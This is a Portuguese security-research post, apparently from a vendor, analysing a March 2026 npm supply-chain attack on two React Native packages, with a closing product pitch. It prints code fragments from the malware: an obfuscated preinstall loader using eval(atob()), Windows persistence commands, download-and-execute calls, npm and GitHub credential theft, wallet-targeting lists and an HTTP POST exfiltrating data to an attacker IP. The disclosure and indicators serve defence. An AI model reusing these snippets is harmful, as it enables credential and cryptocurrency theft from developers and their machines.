Lançamentos de 16 de março de 2026 adicionaram malware de pré-instalação ofuscado a pacotes do mesmo editor
Em 16 de março de 2026, dois pacotes npm React Native do AstrOOnauta foram comprometidos com um backdoor em um ataque coordenado à cadeia de suprimentos. Ambos os lançamentos adicionaram um carregador idêntico no momento da instalação que busca e executa um stealer de credenciais e criptomoedas multiestágio para Windows, acionado por nada mais do que uma rotina npm install. Os pacotes afetados são react-native-country-select@0.3.91 e react-native-international-phone-number@0.11.8.
Em ambos os casos, o código malicioso é introduzido através de um novo preinstall hook que é executado antes que uma instalação npm normal seja concluída, o que significa que desenvolvedores, CI runners e build agents podem acionar o malware apenas instalando o pacote.
Seguindo a mesma cadeia que o malware utiliza, recuperamos o artefato de estágio dois ativo e descriptografamos o payload subsequente. Esse payload mais profundo é um stealer de credenciais e criptomoedas focado em Windows, com persistência e a capacidade de entregar componentes adicionais.
Em 16 de março de 2026, a API de downloads do npm relatou 9.072 downloads na última semana para react-native-country-select e 20.691 para react-native-international-phone-number, totalizando 29.763 downloads semanais. No último mês, a mesma API relatou 42.589 e 92.298 downloads, respectivamente, totalizando 134.887 downloads mensais.
O Que Aconteceu
As versões adjacentes anteriores que verificamos, react-native-country-select@0.3.9 e react-native-international-phone-number@0.11.7, não incluem um preinstall hook e não distribuem o instalador malicioso. Os lançamentos de 16 de março de 2026 adicionam ambos.
A linha do tempo:
react-native-international-phone-number@0.11.8foi publicado em 16 de março de 2026, às 10:49:29 UTC.react-native-country-select@0.3.91foi publicado em 16 de março de 2026, às 10:54:18 UTC.- As versões adjacentes anteriores para ambos os pacotes foram publicadas em 13 de março de 2026.
Esse padrão sugere uma janela de comprometimento no mesmo dia, afetando múltiplos pacotes do mesmo editor.
Como o Malware Funcionou
Passo 1: Execução em Tempo de Instalação
Ambos os lançamentos maliciosos adicionam o mesmo hook de ciclo de vida do pacote:
"scripts": {
"preinstall": "node install.js"
}
O install.js arquivo é ofuscado, acessa infraestrutura externa, busca um payload de segunda fase e o executa dinamicamente.
O instalador original distribuído mostra a busca RPC do Solana diretamente:
let y = await fetch(S, {
'method': e(0x45b, 'nSeb', 0x48f, 0x42b),
'headers': M,
'body': JSON[d(0x473, 'kjpv', 0x42d, 0x471)]({
'jsonrpc': e(0x42c, ')qo^', 0x477, 0x425),
'id': 0x1,
'method': 'getSignatu' + e(0x441, 'PhAy', 0x42c, 0x45e) + d(0x4bb, '6bCJ', 0x4b3, 0x4d3),
'params': [H[d(0x50d, '%Rah', 0x527, 0x4f7)](), t]
})
});
Mais tarde no mesmo arquivo original, o instalador executa o payload buscado:
if (u?.[J(0x4ca, 'h(yv', 0x4ad, 0x49a)] == 0x14) {
eval(atob(u));
return;
}
if (h[w(0x6c8, 0x6c8, 'pw9N', 0x679)]() == J(0x4c1, 'WZok', 0x4f8, 0x543)) {
let _iv = Buffer[J(0x4be, 'hcSr', 0x4b8, 0x4f9)](S, 'base64');
eval(atob(u));
}
Esta é uma execução de código em estágios durante a instalação do pacote.
Passo 2: Verificação de Localidade Russa
O instalador não é executado cegamente em qualquer lugar. Ele inclui um filtro de ambiente explícito para sinais de idioma e fuso horário russos antes de prosseguir. No código original distribuído, ele verifica valores como ru_RU, ru-RU, Russo, e russo:
let n = [
h['userInfo']()[k(-0xe4, 'nhpn', -0x109, -0xd4)],
process[k(-0x10f, 'A0gN', -0xf6, -0x151)][B('Fhk]', 0x6cb, 0x636, 0x675)],
process[B('uKoI', 0x5e9, 0x5b4, 0x5f0)]['LANGUAGE'],
process[k(-0x100, 'aiAw', -0x139, -0x124)]['LC_ALL'],
Intl[
B('uxDz', 0x698, 0x5f4, 0x648) + k(-0x135, 'sDd5', -0xe9, -0x108)
]()[k(-0xdd, 'apC#', -0x98, -0xb0) + 'tions']()[k(-0xf9, '94Hn', -0xcb, -0xc5)]
][k(-0xf7, '8MCe', -0xa4, -0xc0)](
u => u && /ru_RU|ru-RU|Russo|russo/i[B('hcSr', 0x666, 0x6a5, 0x654)](u)
);
O mesmo bloco também verifica nomes de fusos horários e offsets UTC associados à Rússia. Esse tipo de exclusão geográfica ou linguística é comum em malwares criminosos, especialmente aqueles provenientes da Rússia ou de agentes de ameaça de língua russa.
Passo 3: Recuperação de Memo Solana e Entrega da Segunda Etapa
Seguimos os mesmos passos que o malware:
- Extrair a conta Solana do instalador ofuscado.
- Consultar o mesmo
getSignaturesForAddressmétodo RPC que o pacote utiliza. - Recuperar o memo da transação que contém um conteúdo codificado em base64
link. - Obter essa URL como conteúdo inerte e preservar os cabeçalhos de resposta HTTP.
- Decodificar o corpo retornado e inspecionar a próxima camada estaticamente.
- Usar os valores retornados
secretkeyeivbase64para descriptografar o payload incorporado sem executá-lo.
A resposta da segunda etapa obtida forneceu exatamente o material necessário para descriptografar a próxima camada:
secretkey: szfNmayz6fgt6ojbAuVhjEAOWMMxw7iS
ivbase64: ZMM7q5jBwUbsYFo7/8ZdxA==A URL da segunda etapa recuperada era:
http://45[.]32[.]150[.]251/3e4Tg8V%2F8aCmOJKipASADg%3D%3DE o corpo da segunda etapa obtido começa como outro script de descriptografia original:
var crypto=require("crypto"),d=crypto.createDecipheriv("aes-256-cbc",secretKey,_iv),b=d.update("e44249441ac275c58c208f8011873821...Passo 4: A Terceira Etapa Recuperada Persiste e Busca Mais Componentes
O payload descriptografado por AES é a terceira etapa recuperada. É aqui que a cadeia se torna um stealer e downloader focado em Windows.
Ele estabelece persistência através de schtasks e a Execute chave de registro:
schtasks / create / tn "UpdateApp" / tr "powershell -ExecutionPolicy Bypass -File ${ps1Path}" / sc onstart / rl highest / f$rPath = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
$randomName = "DPKCbbQ"
$command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}"
New - ItemProperty - Path $rPath - Name $randomName - PropertyType String - Value $command - Force
Ele também escreve um ~\\init.json arquivo de estado e o reutiliza como um guarda de persistência e execução:
const duplicate = path.join(LnwdVr, 'init.json');
...
fs.writeFileSync(duplicate, JSON.stringify({
init: true,
update: null,
date: new Date().getTime(),
version: '2.27',
uuid: data?.uuid ? data.uuid : makeid(14)
}));Passo 5: A Terceira Etapa Usa o Google Calendar Como Uma Camada Adicional de Indireção
A URL do Google Calendar aparece mais tarde, dentro do JavaScript da terceira etapa recuperada, onde essa terceira etapa usa calendar.app.google para recuperar um slug codificado em base64 antes de solicitar outro script de 45[.]32[.]150[.]251.
Este é o código original:
QGrJayHbkY(atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlLzJOa3JjS0tqNFQ2RG40dUs2'), (err, link) => mzIcfsRBX(atob(link), mzIcfsRBXCall));
...
http.get('http://45.32.150.251' + slug, (res) => {Então, em ordem, a cadeia é:
- npm
preinstallexecutainstall.js install.jsconsulta o Solana RPC e busca a segunda etapa- A segunda etapa descriptografa e executa a terceira etapa
- A terceira etapa entra em contato com o Google Calendar
- A terceira etapa usa o slug recuperado para buscar conteúdo adicional de
45[.]32[.]150[.]251
Essa indireção é importante porque oferece aos operadores um ponto de controle flexível mais adiante na cadeia. Eles podem alterar o caminho downstream sem republicar o pacote npm, e o uso de uma URL de propriedade do Google pode ajudar a cadeia a se misturar ao tráfego normalmente legítimo.
Isso também é interessante em um contexto de pesquisa mais amplo. No ano passado, publicamos um artigo sobre a entrega de malware via convites do Google Calendar e PUAs, confira aqui para saber mais sobre o assunto: Você está convidado! Entrega de malware via convites do Google Calendar e PUAs.
Evidência
A evidência mais forte é que o loader introduzido em ambos os pacotes é byte-idêntico. O install.js arquivo em ambas as releases maliciosas possui SHA-256:
59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26Os diffs de versão também são incomumente limpos. Para ambos os pacotes, o comportamento malicioso é introduzido pelas mesmas duas alterações:
- uma nova
install.js - uma nova
preinstallentrada empackage.json
Para react-native-country-select, o salto malicioso é de 0.3.9 para 0.3.91.
Para react-native-international-phone-number, o salto malicioso é de 0.11.7 para 0.11.8.
Um detalhe torna o caso ainda mais interessante: react-native-international-phone-number@0.11.8 depende de react-native-country-select@0.3.9, que parece ser a versão adjacente limpa anterior, não a maliciosa 0.3.91. Isso sugere que o segundo pacote também foi diretamente 'backdoored' em vez de simplesmente herdar o problema de um 'dependency bump'.
O Que o Payload Recuperado Faz
A terceira fase recuperada é um stealer e downloader focado em Windows.
Uma coisa que subestimamos no primeiro rascunho é que o payload não apenas rouba alguns arquivos de carteira e para por aí. Ele também constrói seu próprio ambiente de execução, percorre caminhos de armazenamento relacionados ao navegador e prepara dados para coleta sob o perfil da vítima.
Ele então baixa componentes adicionais, descriptografa arquivos .node empacotados, os executa e exfiltra a coleção preparada:
http.get("http://45.32.150.251/get_arhive_npm/KQnO9LyllbN0ZfDWq8afrQ%3D%3D", (res) => {
...
childProcess.exec(`${path_node_g} -e "eval(atob('${_script}'))"`, (err, _2) => {
...
const options2 = { hostname: "217.69.3.152", port: 80, path: "/wall", method: "POST",O mesmo payload contém lógica de direcionamento de carteiras para extensões de navegador e carteiras de desktop, incluindo MetaMask, Exodus, Atomic, Guarda, Coinomi, Daedalus, Braavos, OKX Wallet e Trust Wallet. Ele também rouba credenciais npm e GitHub:
const token = childProcess.execSync(`npm config get //${registry.replace(/^https?:\/\//, "")}:_authToken`).toString().trim();
...
const output = childProcess.execSync("git credential fill", { input: "protocol=https\nhost=github.com\n\n", encoding: "utf8"});Neste ponto, o payload recuperado é uma cadeia completa de roubo de credenciais e carteiras.
Conclusões Adicionais
A terceira fase recuperada também baixa um runtime completo do Node.js de nodejs.org, tanto x86 quanto x64, em %APPDATA%\\_node_x86 e %APPDATA%\\_node_x64. Isso fornece ao malware um ambiente de execução confiável, mesmo que o Node.js não esteja presente no sistema da vítima:
const urlX86 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x86.zip";
const urlX64 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip";
const folderPathX86 = path.join(process.env.APPDATA, "_node_x86");
const folderPathX64 = path.join(process.env.APPDATA, "_node_x64");O mesmo payload também percorre o armazenamento de perfis relacionados a navegadores. No JavaScript recuperado, ele procura por "User Data" e "Firefox" diretórios e, em seguida, copia o armazenamento de carteiras e extensões direcionadas dessas localizações após encerrar os processos do navegador:
var globalGBvJwwhfind = ["User Data", "Exodus", "atomic", "Electrum", "Guarda", "Coinomi", "Daedalus Mainnet", "Firefox"];
...
const out = childProcess.execSync(`tasklist /FI "IMAGENAME eq chrome.exe"`);
...
const firefox = childProcess.execSync(`tasklist /FI "IMAGENAME eq firefox.exe"`);
...
if (file.name.includes("Local Extension Settings") && depth < 3) {
t.push(filePath);
}Isso é consistente com o roubo de perfis de navegadores da família Chromium e caminhos relacionados ao Firefox. Podemos verificar diretamente o direcionamento de extensões de carteira a partir do script recuperado, pois ele contém identificadores de extensão para MetaMask, Phantom, Coinbase, Rabby, OKX Wallet, Braavos, Trust Wallet e muitos outros, além de caminhos de armazenamento de carteiras de desktop, como exodus.wallet, wallets, e Local Storage\\leveldb.
Conclusão
Este caso parece ser um evento coordenado de ataque à cadeia de suprimentos npm, afetando pelo menos dois pacotes React Native do mesmo editor no mesmo dia. O detalhe mais importante não é apenas que ambos os lançamentos são maliciosos, mas que foram modificados da mesma forma, com minutos de diferença um do outro, com o mesmo carregador (loader) em estágios.
Seguir a cadeia em estágios torna o impacto muito mais claro. O instalador não apenas envia beacons ou testa o ambiente. Ele leva a um payload Windows descriptografado que persiste, baixa mais componentes, rouba dados de carteira, rouba credenciais npm e GitHub e exfiltra arquivos coletados para infraestrutura controlada pelo atacante.
Indicadores de Comprometimento
Pacotes maliciosos:
react-native-country-select@0.3.91react-native-international-phone-number@0.11.8
Hash do loader compartilhado:
59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26
Domínios relacionados:
socket[.]networkn[.]xyzp[.]link45[.]32[.]150[.]251217[.]69[.]3[.]152calendar[.]app[.]google/2NkrcKKj4T6Dn4uK6
Detecção e Proteção
Se você já usa Aikido, esses pacotes seriam sinalizados em seu feed como uma descoberta crítica 100/100.

Ainda não usa Aikido? Crie uma conta gratuita e conecte seus repositórios. O plano gratuito inclui nossa cobertura de detecção de malware (não é necessário cartão de crédito).
Finalmente, uma ferramenta capaz de interromper malwares de supply-chain em tempo real, assim que surgem, pode prevenir uma infecção grave. Esta é a ideia por trás do Aikido Safe Chain, uma ferramenta gratuita e de código aberto que se integra a npm, npx, yarn, pnpm e pnpx, e utiliza tanto IA quanto pesquisadores humanos de malware para detectar e bloquear os mais recentes riscos de supply chain antes que entrem no seu ambiente.

